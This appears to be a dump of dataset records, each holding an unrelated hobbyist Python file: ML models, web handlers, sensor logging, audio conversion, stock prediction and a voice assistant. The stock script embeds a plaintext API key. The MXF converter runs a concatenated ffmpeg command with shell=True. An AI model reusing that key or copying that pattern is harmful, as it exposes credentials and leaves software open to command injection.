packages...\")\ncommand = [\n str(py_path),\n \"-m\", \"pip\", \"install\",\n \"-r\", str(requirements_path),\n \"--no-index\", \"--find-links\",\n \"file://%s%s\" % (str(lib_dir), os.sep)\n]\n\nsubprocess.check_call(command) # run install\nprint(\"Done\")\n","repo_name":"EldritchGarden/subpar","sub_path":"setup_env.py","file_name":"setup_env.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39487186980","text":"import tensorflow as tf\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.layers import (GRU, Add, Concatenate, Dense, Embedding,\n Input, Lambda, Multiply, ReLU, Reshape,\n Softmax)\nfrom tensorflow.keras.models import Model\n\n\ndef create_attention(dec_state_shape, embedder_out_shape, att_units):\n \"\"\"\n Creates attention soft-attention model\n\n Parameters\n ----------\n dec_state_shape : 1-tuple of int\n shape of decoder hidden state\n embedder_out_shape : 2-tuple of int\n shape of embedder output\n att_units : int\n size of 2 dense layers connecting encoder and decoder inputs\n \"\"\"\n enc_out = Input(embedder_out_shape) # (batch, 100, embed)\n _dec_state = Input(dec_state_shape) # (batch, h_units)\n dec_state = Lambda(lambda x: K.expand_dims(x, 1))(\n _dec_state) # (batch, 1, h_units)\n\n enc_w = Dense(att_units, name=\"encoder_weights\")(\n enc_out) # (batch, 100, units)\n dec_w = Dense(att_units, name=\"decoder_weights\")(\n dec_state) # (batch, 1 , units)\n\n # broadcasts : (batch, 100, units)\n _score = Add(name=\"add\")([enc_w, dec_w])\n score = Dense(1, name=\"dense_score\")(_score) # (batch, 100, 1)\n sq_score = Lambda(lambda x: K.squeeze(x, axis=-1),\n name=\"squeeze_score\")(score) # (batch, 100)\n\n _att_w = Softmax(name=\"softmax\")(sq_score) # (batch, 100)\n att_w = Lambda(lambda x: K.expand_dims(x, 2),\n name='expand_dims')(_att_w) # (batch, 100, 1)\n\n _context_vec = Multiply(name=\"multiply_cvec_enc\")(\n [att_w, enc_out]) # (batch, 100, embed)\n context_vec = Lambda(lambda x: K.sum(x, axis=-1),\n name=\"sum_cvec\")(_context_vec) # (batch, 100)\n\n return Model([_dec_state, enc_out], [context_vec, _att_w])\n\n\ndef create_encoder(base_model):\n \"\"\"\n Creates encoder based on base_model\n\n Parameters\n ----------\n base_model : model in keras.applications\n used to create base model without classification top and trained on\n imagenet\n \"\"\"\n return base_model(weights='imagenet', include_top=False)\n\n\ndef create_embedder(enc_out_shape, embed_dim):\n \"\"\"\n Creates embedder model over encoder\n\n Parameters\n ----------\n enc_out_shape : 3-tuple of int\n output shape of encoder\n embed_dim : int\n size of dense layer to reshape last dimension of encoder output\n \"\"\"\n enc_output = Input(enc_out_shape)\n x = Reshape((-1, enc_out_shape[-1]))(enc_output) # (batch, 100, 4032)\n x = Dense(embed_dim)(x) # (batch, 100, embed_dim)\n x = ReLU()(x)\n\n return Model(enc_output, x)\n\n\ndef create_decoder(context_vec_shape, vocab_size, embed_size,\n dec_units, pretrained_embeddings=None):\n \"\"\"\n Creates GRU decoder with soft-attention and optional pretrained embeddings\n\n Parameters\n ----------\n context_vec_shape : 1-tuple of int\n shape of context vector output from attention model\n vocab_size : int\n used to produce tensor of vocab_size logits to predict word\n embed_size : int\n size of embedding layer, if using glove then it's 300\n dec_units : int\n size of GRU layer\n pretrained_embeddings : array of shape vocab_size x embed_size (default None)\n can use create_word_embedding_matrix in data_loader for glove embeddings\n \"\"\"\n # (batch, 1)\n word = Input((1), name=\"word_input\")\n\n # (batch, 100)\n context_vec = Input(context_vec_shape, name=\"context_vector_input\")\n\n # if mask_zero=True, how to propogate to rest of model?\n # label softening? initializer?\n # (batch, 1, embed_dim)\n if pretrained_embeddings is not None:\n embed_word = Embedding(vocab_size, embed_size, weights=[\n pretrained_embeddings], name=\"word_embedding\",\n trainable=False)(word)\n else:\n embed_word = Embedding(vocab_size, embed_size, name=\"word_embedding\",\n trainable=True)(word)\n\n # (batch, 1, 100)\n e_context_vec = Lambda(lambda x: K.expand_dims(\n x, 1), name=\"expand_dims\")(context_vec)\n\n # (batch, 1, 100 + embed_dim)\n concat = Concatenate(name=\"concatenate\")([e_context_vec, embed_word])\n\n output, state = GRU(dec_units, return_state=True,\n recurrent_initializer='glorot_uniform', name=\"GRU\")(concat)\n output = Dense(dec_units, name=\"units_dense\")(output)\n output = Dense(vocab_size, name=\"vocab_dense\")(output)\n\n return Model([word, context_vec], [output, state])\n","repo_name":"tylerlozano/vizcriber","sub_path":"app/training/models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4588,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"73756548061","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport cgi\nimport os\n\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp import template\nfrom google.appengine.ext.webapp.util import run_wsgi_app\n\nfrom constants import SORT_TOP_RATING\nfrom gallery import searchFor\n\nclass MainPage(webapp.RequestHandler):\n\tdef get(self, page):\n\t\t# Get the top five extensions\n\t\textlist = searchFor('',limit=4,sortBy=SORT_TOP_RATING)\n\t\t\n\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/head.html')\n\t\tself.response.out.write(template.render(path, {}))\n\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/landing.html')\n\t\tself.response.out.write(template.render(path, {'extlist':extlist}))\n\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/foot.html')\n\t\tself.response.out.write(template.render(path, {}))\n\nclass AboutPage(webapp.RequestHandler):\n\tdef get(self):\n\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/head.html')\n\t\tself.response.out.write(template.render(path, {'title':'About'}))\n\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/about.html')\n\t\tself.response.out.write(template.render(path, {}))\n\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/foot.html')\n\t\tself.response.out.write(template.render(path, {}))\n\nclass RobotsTxt(webapp.RequestHandler):\n\tdef get(self):\n\t\tself.response.headers['Content-Type'] = 'text/plain'\n\t\tself.response.out.write('User-agent: *\\nDisallow: /gallery/search')\n\nclass FaviconHandler(webapp.RequestHandler):\n\tdef get(self):\n\t\tself.response.set_status(301)\n\t\tself.redirect('/static/images/gadget_icon_16x16.ico')\n\nclass GooglePlusRedirect(webapp.RequestHandler):\n\tdef get(self):\n\t\tself.response.set_status(301)\n\t\tself.redirect('http://plus.google.com/111054500428067493902')\n\nclass OtherPage(webapp.RequestHandler):\n\tdef get(self, page):\n\t\tif page[:6] == 'robots':\n\t\t\tself.redirect('/gallery/robots' + page[6:])\n\t\telif page[:7] == 'gadgets':\n\t\t\tself.redirect('/gallery/gadgets' + page[7:])\n\t\telse:\n\t\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/head.html')\n\t\t\tself.response.out.write(template.render(path, {'title':'Error'}))\n\t\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/404.html')\n\t\t\tself.response.out.write(template.render(path, {}))\n\t\t\tpath = os.path.join(os.path.dirname(__file__), 'templates/foot.html')\n\t\t\tself.response.out.write(template.render(path, {}))\n\t\t\tself.response.set_status(404);\n\nsite = webapp.WSGIApplication([('/(index\\.html)?', MainPage),\n ('/about', AboutPage),\n ('/robots.txt', RobotsTxt),\n ('/favicon.ico', FaviconHandler),\n ('/\\+/?', GooglePlusRedirect),\n ('/(.*)', OtherPage)],\n debug=True)\n\ndef main():\n\trun_wsgi_app(site)\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"ZMYaro/wave-extensions-gallery","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"69"} +{"seq_id":"40142753479","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Dec 21 18:04:54 2018\r\n@author: harpal\r\n\"\"\"\r\n\r\nl=[1,2,3,4,5]\r\n\r\nfor num in l:\r\n print (num)\r\n \r\nfor num in range(1,6,2):\r\n print( ) \r\n \r\n \r\nx=range(1,6,2)\r\nx2=list(x)\r\nprint(x2) ","repo_name":"Harpal008/Python_Programs","sub_path":"range.py","file_name":"range.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16462288001","text":"#!/usr/bin/env python3\nimport os\nimport subprocess\nfrom flask import Flask, jsonify, request, send_file\napp = Flask(__name__)\n\n@app.route('/tts', methods=['POST'])\n\ndef tts():\n data = request.get_json()\n text = data['text']\n print(text)\n subprocess.run(['gtts-cli', '--lang=it', '-o', '/var/www/html/tts/output.mp3', text ])\n subprocess.run(['ffmpeg', '-i', '/var/www/html/tts/output.mp3', '-y', '-af', 'atempo=1.4,dialoguenhance,arnndn=m=/home/gabriele/progetti/whatsapp-chatgpt/filter.rnn,volume=1.3', '/var/www/html/tts/output.opus'])\n tmp_path_opus=\"/var/www/html/tts/output.opus\"\n return send_file(tmp_path_opus, mimetype='audio/ogg, codecs=opus')\n\n\nif __name__ == '__main__':\n app.run(host='localhost', port=8000)\n\n","repo_name":"GabrieleRisso/elevenlabs-and-gTTS-speech-rest-api","sub_path":"tts-gtts.py","file_name":"tts-gtts.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"17584015237","text":"from . import *\nfrom .sd_titre import sd_titre\nfrom .sd_util import *\n\n\nclass sd_listis(sd_titre):\n#-------------------------------------\n nomj = SDNom(fin=19)\n LPAS = AsVI()\n BINT = AsVI()\n NBPA = AsVI()\n VALE = AsVI()\n\n def check_1(self, checker):\n nbpa = self.NBPA.get()\n bint = self.BINT.get()\n lpas = self.LPAS.get()\n vale = self.VALE.get()\n\n # cas général :\n if len(vale) > 1:\n assert len(bint) == len(nbpa) + 1\n assert len(nbpa) == len(lpas)\n\n n1 = 0\n assert vale[0] == bint[0]\n for k in range(len(nbpa)):\n npas = nbpa[k]\n assert npas > 0\n n1 = n1 + npas\n assert vale[n1] == bint[k + 1]\n\n assert len(vale) == n1 + 1\n assert sdu_monotone(vale) in (1,), vale\n\n # cas particulier :\n if len(vale) == 1:\n assert len(bint) == 1\n assert len(nbpa) == 1\n assert len(lpas) == 1\n assert vale[0] == bint[0]\n assert nbpa[0] == 0, nbpa\n assert lpas[0] == 0, lpas\n","repo_name":"ehmoussi/code_aster","sub_path":"code_aster/SD/sd_listis.py","file_name":"sd_listis.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"19562311179","text":"#!/usr/bin/python3\nimport os\nimport sys\nimport time\nimport Adafruit_DHT\n\nDHT_SENSOR = Adafruit_DHT.DHT11\nDHT_PIN = 4\n\ntry:\n f = open('/home/pi/humidity.csv', 'w+')\n if os.stat('/home/pi/humidity.csv').st_size == 0:\n f.write('')\nexcept:\n pass\n\nwhile True:\n humidity, temperature = Adafruit_DHT.read_retry(11, 4)\n \n convert = temperature * 1.8 + 32\n\n if humidity is not None and temperature is not None:\n f.write('{0},{1},{2:0.1f}*F,{3:0.1f}%\\r\\n'.format(time.strftime('%m/%d/%y'), time.strftime('%H:%M'), convert, humidity))\n else:\n print(\"Failed to retrieve data from humidity sensor\")\n\n time.sleep(5)\n exit()\n","repo_name":"cainesmckoy/raspberry-pi-projects","sub_path":"humidity_temp/humidity2.py","file_name":"humidity2.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14946569842","text":"import socket,sys,time,threading\n\n\nclass Client():\n def __init__(self,hostname: str,port: int):\n self.__port = port\n self.__hostname = hostname\n self.__socket = None\n\n def isConnect(self):\n return self.__socket!=None\n\n def __connect(self):\n try:\n\n self.__socket = socket.socket()\n self.__socket.connect((self.__hostname,self.__port))\n\n\n except socket.error:\n print(\"adresseIP/Port déja utilisé ou inexistant\")\n sys.exit(-1)\n\n def __send(self):\n message = \"\"\n while message != \"kill\" and message != \"disconnect\" and message != \"reset\":\n if self.isConnect():\n try:\n message = input(\"client: \")\n self.__socket.send(message.encode())\n message_srv = self.__socket.recv(1024).decode()\n print(message_srv)\n except BrokenPipeError:\n print(\"erreur, socket fermée\")\n else:\n print(\"n'est pas connecté\")\n\n def send_interface(self, message):\n if self.isConnect():\n try:\n self.__socket.send(message.encode())\n message_srv = self.__socket.recv(1024).decode()\n return message_srv\n except BrokenPipeError:\n print(\"erreur, socket fermée\")\n else:\n print(\"n'est pas connecté\")\n\n def close(self):\n self.__socket.close()\n\n def send(self):\n threading.Thread(target=self.__send())\n\n def connect(self):\n threading.Thread(target=self.__connect())\n\n\nif __name__ == \"__main__\":\n\n print(sys.argv)\n if len(sys.argv) < 3:\n client = Client(\"127.0.0.1\",10111)\n\n # en dehors du if\n client.connect()\n client.send()\n\n","repo_name":"Elise-Beauvy/SAE3.02","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41245306416","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nmxf_to_wav.py\n\nScript to quickly convert an mxf file to a waveform file.\n\nAuthor:\n – Jon Clucas, 2016 (jon.clucas@childmind.org)\n\n© 2016, Child Mind Institute, Apache v2.0 License\n\nCreated on Fri Dec 23 12:43:40 2016\n\n@author: jon.clucas\n\"\"\"\nimport argparse, subprocess\nfrom os import path\n\ndef mxf_to_wav(in_file):\n # make an output filename\n out_base = path.basename(in_file).strip('.mxf').strip('.MXF')\n out_i = 0\n out_file = path.join(path.dirname(in_file), ''.join([out_base, '.wav']))\n while path.exists(out_file):\n out_file = path.join(path.dirname(in_file), ''.join([out_base, '_',\n str(out_i), '.wav']))\n out_i = out_i + 1\n # do the conversion verbosely\n to_convert = ''.join([\"ffmpeg -i \", in_file, \" -ac 2 -acodec pcm_s16le \",\n out_file])\n print(''.join([\"Converting \", in_file, \" to \", out_file]))\n subprocess.call(to_convert, shell = True)\n\ndef main():\n # script can be run from the command line\n parser = argparse.ArgumentParser(description='get mxf')\n parser.add_argument('in_file', metavar='in_file', type=str)\n arg = parser.parse_args()\n mxf_to_wav(arg.in_file)\n\n# ============================================================================\nif __name__ == '__main__':\n main()\n","repo_name":"shnizzedy/SM_openSMILE","sub_path":"openSMILE_preprocessing/mxf_to_wav.py","file_name":"mxf_to_wav.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"25550606324","text":"# Developer: Steven Caird @ https://stevencaird.netlify.app/\n\nfrom google.cloud import texttospeech\nimport os\nimport pyaudio\nimport io\nfrom pydub import AudioSegment\nimport speech_recognition as sr\nimport openai\n\n# Set Google Cloud credentials\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = \"../Credentials/AudibleAIConversationCredentials/tts_google_cloud.json\"\n\n# Set up OpenAI API\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\n\ndef text_to_speech(text):\n client = texttospeech.TextToSpeechClient()\n\n input_text = texttospeech.SynthesisInput(text=text)\n voice = texttospeech.VoiceSelectionParams(\n language_code=\"en-US\", name=\"en-US-Neural2-J\"\n )\n audio_config = texttospeech.AudioConfig(audio_encoding=texttospeech.AudioEncoding.LINEAR16)\n\n response = client.synthesize_speech(\n input=input_text, voice=voice, audio_config=audio_config\n )\n\n return response.audio_content\n\n\ndef play_audio(audio_data):\n audio_io = io.BytesIO(audio_data)\n audio_segment = AudioSegment.from_file(audio_io, format=\"wav\")\n\n p = pyaudio.PyAudio()\n stream = p.open(format=p.get_format_from_width(audio_segment.sample_width),\n channels=audio_segment.channels,\n rate=audio_segment.frame_rate,\n output=True)\n stream.write(audio_segment.raw_data)\n\n stream.stop_stream()\n stream.close()\n p.terminate()\n\n\ndef recognize_speech():\n r = sr.Recognizer()\n with sr.Microphone() as source:\n print(\"Listening...\")\n audio = r.listen(source)\n\n try:\n credentials_json = \"../Credentials/AudibleAIConversationCredentials/stt_google_cloud.json\"\n recognized_text = r.recognize_google_cloud(audio, credentials_json=credentials_json)\n print(\"I think you said:\", recognized_text)\n return recognized_text\n except sr.UnknownValueError:\n print(\"Google Cloud Speech could not understand audio\")\n return None\n except sr.RequestError as e:\n print(f\"Could not request results from Google Cloud Speech service: {e}\")\n return None\n\n\ndef generate_response(user_response):\n response = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=f\"\\nHow can I assist you today?\"\n f\"\\nHuman: {user_response}\",\n temperature=0.9,\n max_tokens=150,\n top_p=1,\n frequency_penalty=0,\n presence_penalty=0.6,\n stop=[\" Human:\", \" AI:\"]\n )\n\n response_text = response['choices'][0]['text']\n return response_text\n\n\n# Example usage\nprint(\"Welcome to AI Conversation!\")\n\nopening_message = \"Welcome to AI Conversation! Powered by Google Cloud and Open AI. So,What can I help you with today?\"\naudio_data = text_to_speech(opening_message)\nplay_audio(audio_data)\n\nwhile True:\n # Convert user input to speech\n user_input = recognize_speech()\n if user_input:\n user_input = user_input.strip()\n if user_input.lower() == \"exit\":\n exit_message = \"Well,My work here is done. It's back off to the cloud for me!\"\n audio_data = text_to_speech(exit_message)\n play_audio(audio_data)\n print(\"Conversation ended.\")\n break\n\n response_text = generate_response(user_input)\n print(response_text)\n\n # Convert AI response to speech\n audio_data = text_to_speech(response_text)\n play_audio(audio_data)\n\nprint(\"Thank you for using AI Conversation!\")\n","repo_name":"Caird89/AudibleAIConversation","sub_path":"gptAudioConversation.py","file_name":"gptAudioConversation.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"9378065453","text":"import pandas as pd\nimport yfinance as yf\nimport argparse\nfrom stocksymbol import StockSymbol\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression, LogisticRegression\nimport sys\nimport os\n# api_key is mine here \n# Use yours by filling this form of stocksymbol api\n#\napplication_path = os.path.dirname(sys.executable)\napi_key = 'daf2adb4-22db-4ded-becd-b7c7aeddc75a'\nss = StockSymbol(api_key)\n\n\n# The function works to get all the stocks available in us and india\ndef get_total_ss(ss):\n symbol_list_us = ss.get_symbol_list(market=\"US\")\n symbol_stock_us = []\n for i in range(0,len(symbol_list_us)):\n a = symbol_list_us[i]['symbol']\n symbol_stock_us.append(a)\n symbol_list_india = ss.get_symbol_list(market=\"india\")\n symbol_stock_india = []\n for i in range(0,len(symbol_list_india)):\n a = symbol_list_india[i]['symbol']\n symbol_stock_india.append(a)\n \n total_ss= symbol_stock_india + symbol_stock_us\n total_ss.sort()\n return list(total_ss)\n\ntotal_ss = get_total_ss(ss)\n\n# len of the list containing the all the similar stock\ndef search_len(list_ss,search_key):\n search_key = search_key.upper()\n t = []\n for i in list_ss:\n if i.startswith(search_key):\n t.append(i)\n return len(t)\n\n# Search for all the stocks starting wirh search_key. If nothing like that exists, it return No such stock present.\n# Else shows the list of top 10 matching stocks\ndef search(list_ss,search_key):\n search_key = search_key.upper()\n t = []\n for i in list_ss:\n if i.startswith(search_key):\n t.append(i)\n if len(t) == 0:\n print(\"No such stock present in the US and Indian Marketplace\")\n else:\n print(\"There are {0} stocks starting with {1}. The top 10 of which are : \".format(search_len(list_ss,search_key),search_key))\n for j in t[:10]:\n print(j)\n\n# Used to search when view stock name is incomplete in view command\ndef search_view(list_ss,search_key):\n search_key = search_key.upper()\n t = []\n for i in list_ss:\n if i.startswith(search_key):\n t.append(i)\n if len(t) == 0:\n print(\"No such stock present in the US and Indian Marketplace\")\n else:\n print(\"Maybe you mean one of these stocks symbols : \")\n for j in t[:20]:\n print(j)\n \n# shows data of stock over x days\ndef stock_x_days(list_ss, stock, x=10):\n if stock not in list_ss:\n print(\"No such stock available\")\n else:\n if x >= 60:\n x = 60\n xdays = str(x) + 'd'\n stock_var = yf.Ticker(stock)\n stock_hist = stock_var.history(period=xdays)\n stock_data = pd.DataFrame(stock_hist)\n stock_data = stock_data.reset_index()\n stock_data['Date'] = pd.to_datetime(stock_data['Date']).dt.date\n return stock_data\n\n# prints stock data\ndef print_stock(data):\n data = data[['Date','Open','High','Low','Close']]\n print(data)\n\n#Used to predict the stock value for next 5 days\ndef real_production(train_data,model_name,start,end,start2):\n if model_name == 'model_lr':\n X = train_data[start].values.reshape(-1, 1)\n y = train_data[end].values\n model_lr = LinearRegression()\n model_lr.fit(X, y)\n \n train_data2 = train_data.copy()\n train_data2[start2] = train_data2[start].shift(-1)\n train_data2.drop(columns=start)\n train_data2.dropna(inplace=True)\n X2 = train_data2[end].values.reshape(-1,1)\n y2 = train_data2[start2].values\n model_lr2 = LinearRegression()\n model_lr2.fit(X2,y2)\n tclose = y[-1]\n l = []\n l2 = []\n for i in range(0,5):\n predicted_c_o = model_lr2.predict([[tclose]])\n l.append(round(predicted_c_o[0],2))\n predict_o_c = model_lr2.predict([[l[-1]]])\n l2.append(round(predict_o_c[0],2))\n tclose = l2[-1]\n print_df = pd.DataFrame({'Open':l,'Close':l2})\n print(print_df)\n\n# can shows stock_data for more than 60 days \ndef stock_x_days_unlimited(list_ss, stock, x=10):\n if stock not in list_ss:\n print(\"No such stock available\")\n else:\n xdays = str(x) + 'd'\n stock_var = yf.Ticker(stock)\n stock_hist = stock_var.history(period=xdays)\n stock_data = pd.DataFrame(stock_hist)\n stock_data = stock_data.reset_index()\n stock_data['Date'] = pd.to_datetime(stock_data['Date']).dt.date\n return stock_data\n\n# made so that continuous inputs can be supported and no need to write the same command again in cli\ndef continouous_inputs():\n while True:\n user_input = input(\"Enter a valid command or 'help' for more info \\n or 'exit' to quit the program. \").split(' ')\n if user_input[0].lower() == 'exit':\n break\n \n try:\n if user_input[0] == 'help':\n print()\n print(\"#######################################\")\n print(\"Use the following commands to do the following : \")\n print(\"Use the command with appropriate syntax else it will not function and show error.\")\n print(\"DO NOT USE <> shown in syntax\")\n print(\"help - get all the information about the necessary functions\")\n print(\"Syntax : help\")\n print(\"search - search a particular stock symbol\")\n print(\"Syntax : search <stock_name>\")\n print('view - view the stock prices between last 2 months to 10 days')\n print(\"Syntax : view <stock_name> <number_of_days>\")\n print(\"predict - predict the value of the stock for next 5 days\")\n print(\"Syntax : predict <stock_name>\")\n print(\"#######################################\")\n print()\n elif user_input[0] == 'search':\n print()\n print(\"#######################################\")\n search(total_ss,user_input[1])\n print(\"#######################################\")\n print()\n elif user_input[0] == 'view':\n print()\n print(\"#######################################\")\n if user_input[0] == 'view':\n stock = user_input[1].upper()\n days = int(user_input[2])\n if stock not in total_ss:\n search_view(total_ss, stock)\n else:\n data = stock_x_days(total_ss, stock, days)\n print_stock(data)\n print(\"#######################################\")\n print()\n elif user_input[0] == 'predict':\n print()\n print(\"#######################################\")\n stock = user_input[1].upper()\n if stock not in total_ss:\n search_view(total_ss,stock)\n else:\n data = stock_x_days_unlimited(total_ss, stock, 120)\n real_production(data,'model_lr','Open','Close','Open2')\n print(\"#######################################\")\n print()\n else:\n print()\n print(\"#######################################\")\n print(\"Syntax Error, use help to know proper syntax .\\nEnter a valid command.\")\n print(\"#######################################\")\n print()\n except:\n print(\"Invalid input.\")\n print(\"Enter a valid command or 'help' for more info \\n or 'exit' to quit the program \")\n \ndef main():\n parser = argparse.ArgumentParser(description=\"The stock prediction CLI \")\n args = parser.parse_args()\n\n continouous_inputs()\n\nif __name__ == \"__main__\":\n main()\n input()","repo_name":"Akash-Pal1/Stock-Predictor-CLI","sub_path":"stockMain.py","file_name":"stockMain.py","file_ext":"py","file_size_in_byte":7930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38993012510","text":"#도전2: 성적프로그램\r\nname=input('이름:')\r\nattend=int(input('출석점수:'))\r\nhomework=int(input('과제점수:'))\r\nmid=float(input('중간점수:'))\r\nfinal=float(input('기말점수:'))\r\ntotal=attend*0.2+homework*0.2+mid*0.3+final*0.3\r\n\r\nprint('name: %s' %name)\r\nprint('total: %.2f' %total)\r\n","repo_name":"daphnekimyh/python","sub_path":"3주차도전_2.py","file_name":"3주차도전_2.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35430537859","text":"import pandas as pd\nfrom matplotlib import pyplot as plt\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error\nfrom matplotlib.colors import LinearSegmentedColormap\nimport math\nfrom mpl_toolkits.mplot3d.axes3d import Axes3D\nimport numpy as np\nimport matplotlib.cm as cmx\nimport matplotlib\nfrom sklearn.svm import SVR\n\n#4-2\n#最优操作选取\nx = pd.read_excel('x.xlsx').values\ny = pd.read_excel('y.xlsx').values\ny=y.ravel()\nx_train = x[:-81]\ny_train = y[:-81]\nx_test = x[-81:]\ny_test = y[-81:]\nclf = SVR(kernel='linear')\nclf.fit(x_train, y_train)\ndf = pd.read_excel('xr.xlsx')\ncolumns = list(df.columns)\nerror = 0\nx133 = df.iloc[132, :].values\ny = pd.read_excel('y.xlsx').values\nfor a in np.arange(2.35, 2.7, 0.1):\n for b in np.arange(0, 121, 10):\n for c in np.arange(2, 101, 10):\n for d in np.arange(3, 76, 4):\n for e in np.arange(320, 482, 20):\n for f in np.arange(0.4, 0.9, 0.1):\n df[columns[-6]] = [(a-2.3859664)/(2.607782-2.3859664) for i in range(df.shape[0])]\n df[columns[-5]] = [(b-0.3016754)/(100.81921-0.3016754) for i in range(df.shape[0])]\n df[columns[-4]] = [(c-2.8080836)/(83.222635-2.8080836) for i in range(df.shape[0])]\n df[columns[-3]] = [(d-3.6843995)/(64.396493-3.6843995) for i in range(df.shape[0])]\n df[columns[-2]] = [(e-334.99402)/(457.82386-334.99402) for i in range(df.shape[0])]\n df[columns[-1]] = [(f-0.4305181)/(0.6833051-0.4305181) for i in range(df.shape[0])]\n x1 = df.values\n # print(x1.shape)\n y_pred = clf.predict(x1)\n # plt.plot(y_pred, color='red', label='Predict RONloss')\n # plt.plot(y, color='blue', label='Real RONloss')\n # plt.title('RONloss Prediction')\n # plt.show()\n if error < (np.mean((y-y_pred)/y)):\n params = (a, b, c, d, e, f)\n error = (np.mean((y-y_pred)/y))\n print('******', params, (np.mean((y-y_pred)/y)))\n print('******', y[132], '---->', clf.predict(x133[np.newaxis, :]))\n print((a, b, c, d, e, f))\n print('=========')\nprint('*******')\nprint(params)\n\ndf = pd.read_excel('xr.xlsx')\ncolumns = list(df.columns)\ny = pd.read_excel('y.xlsx').values\na, b, c, d, e, f = params[0], params[1], params[2], params[3], params[4], params[5]\ndf[columns[-6]] = [(a-2.3859664)/(2.607782-2.3859664) for i in range(df.shape[0])]\ndf[columns[-5]] = [(b-0.3016754)/(100.81921-0.3016754) for i in range(df.shape[0])]\ndf[columns[-4]] = [(c-2.8080836)/(83.222635-2.8080836) for i in range(df.shape[0])]\ndf[columns[-3]] = [(d-3.6843995)/(64.396493-3.6843995) for i in range(df.shape[0])]\ndf[columns[-2]] = [(e-334.99402)/(457.82386-334.99402) for i in range(df.shape[0])]\ndf[columns[-1]] = [(f-0.4305181)/(0.6833051-0.4305181) for i in range(df.shape[0])]\nx = df.values\ny_pred = clf.predict(x)\nprint(np.mean((y-y_pred)/y))\nprint(y_pred[132])\nplt.plot(y_pred, color='red', label='Predict')\nplt.plot(y, color='blue', label='Real')\nplt.legend(['Predict', 'Real'])\nplt.title('RONloss Prediction')\nplt.show()\n\n\n\n","repo_name":"amousni/17th-Graduate-MCM-B","sub_path":"第四问.py","file_name":"第四问.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39934031005","text":"n,ma,mb=[int(x) for x in input().split()]\nan=[]\nbn=[]\ncn=[]\nfor x in range(n):\n\tai,bi,ci=[int(x) for x in input().split()]\n\tan.append(ai)\n\tbn.append(bi)\n\tcn.append(ci)\namax=max(an)\nbmax=max(bn)\n\ndp=[[[float('inf') for x in range(10*40+1)] for x in range(10*40+1)] for x in range(40+1)]\ndp[0][0][0]=0\n\nfor i in range(n):\n\tfor a in range(40*10+1):\n\t\tfor b in range(40*10+1):\n\t\t\tif dp[i][a][b]==float('inf'):\n\t\t\t\tcontinue\n\t\t\tdp[i+1][a][b]=min(dp[i+1][a][b],dp[i][a][b])\n\t\t\tdp[i+1][a+an[i]][b+bn[i]]=min(dp[i+1][a+an[i]][b+bn[i]],dp[i][a][b]+cn[i])\n\t\t\nans=float('inf')\n\nfor a in range(1,40*10+1):\n\tfor b in range(1,40*10+1):\n\t\tif a*mb==b*ma:\n\t\t\tans=min(ans,dp[n][a][b])\n\nif ans==float('inf'):\n\tprint(-1)\nelse:\n\tprint(ans)","repo_name":"LamberlainMuli/CompetitiveProgramming","sub_path":"Atcoder/ABC/ABC054/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21776452936","text":"import copy\nimport logging as log\nimport os\n# Third-party packages\nimport matplotlib.font_manager as fm\nimport yaml\n# bulkDGD\nfrom . import defaults\nfrom . import _util\n\n\n# Get the module's logger\nlogger = log.getLogger(__name__)\n\n\n#------------------------- Private constants -------------------------#\n\n\n# Template to check the model's configuration file against\n_CONFIG_MODEL_TEMPLATE = \\\n {# Options for the Gaussian mixture model\n 